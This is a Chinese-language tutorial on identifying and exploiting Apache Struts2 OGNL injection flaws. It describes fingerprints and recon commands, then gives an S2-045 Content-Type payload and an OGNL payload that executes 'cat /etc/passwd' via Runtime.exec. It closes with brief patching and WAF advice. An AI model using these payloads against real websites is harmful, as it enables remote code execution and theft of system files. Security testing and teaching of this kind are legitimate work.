1. 什么样的网站可能存在Struts2漏洞?
1.1 使用Apache Struts框架的网站
-
Struts应用场景:
- Java Web应用开发。
- 企业级应用(如ERP、CRM系统)。
- 政府、银行、医疗等高安全性需求的行业。
-
常见特征:
.action
或.do
结尾的URL。http://example.com/login.action http://example.com/user/save.do
- URL中可能包含类似动态参数:
http://example.com/page.action?id=1
-
流行版本:
- Apache Struts 2.0.x 到 2.5.x(老版本尤其危险)。
2. 漏洞存在的原因
Struts2漏洞大多是由于框架在处理OGNL表达式时未正确过滤用户输入,导致远程代码执行(RCE)。常见漏洞包括:
- S2-045:Content-Type头导致的远程代码执行。
- S2-052:REST插件中OGNL注入漏洞。
- S2-057:多部分请求处理漏洞。
3. 如何识别可能存在Struts2漏洞的网站
3.1 信息收集
-
目录扫描:使用工具如
dirsearch
查找可能的Struts端点。dirsearch -u http://target.com -e .action,.do
-
文件泄露: 尝试访问
/struts/webconsole.html
或/struts2-showcase/
等默认页面,判断是否使用Struts框架。 -
HTTP响应头:检查是否存在与Struts相关的特征,如:
X-Powered-By: Struts Server: Apache-Coyote/1.1
3.2 手动探测
- 在
.action
或.do
结尾的URL中插入OGNL表达式,测试是否回显:${100+100} ${"test".toUpperCase()}
4. 利用方式
4.1 远程代码执行(RCE)利用
-
利用OGNL表达式执行恶意命令:
- 常见Payload(S2-045):
如果漏洞存在,响应中会出现Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','Vulnerable')}.multipart/form-data
X-Test: Vulnerable
头。
- 常见Payload(S2-045):
-
自动化利用工具:
- Struts2-Scan:扫描Struts2漏洞。
python struts2-scan.py -u http://target.com/page.action
- Exploit Scripts:使用现成的POC:
- Struts2-Scan:扫描Struts2漏洞。
4.2 文件读取
某些Struts漏洞可导致文件读取(如配置文件或日志)。
- 示例Payload:
%{#req=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('cat /etc/passwd').getInputStream())}
5. 预防和修复
- 升级Struts框架:
- 确保版本至少为2.5.20以上。
- 使用WAF:
- 配置防火墙以检测和拦截OGNL相关的攻击Payload。
- 输入验证:
- 严格限制用户输入的数据格式和范围。
6. 工具推荐
-
Struts2漏洞扫描工具:
- Struts2-Scan:自动化检测工具。
- Nuclei:配合Struts模板进行漏洞扫描。
-
手动测试工具:
- Burp Suite:拦截请求并插入OGNL表达式。
- HTTPie:快速发送HTTP请求进行测试。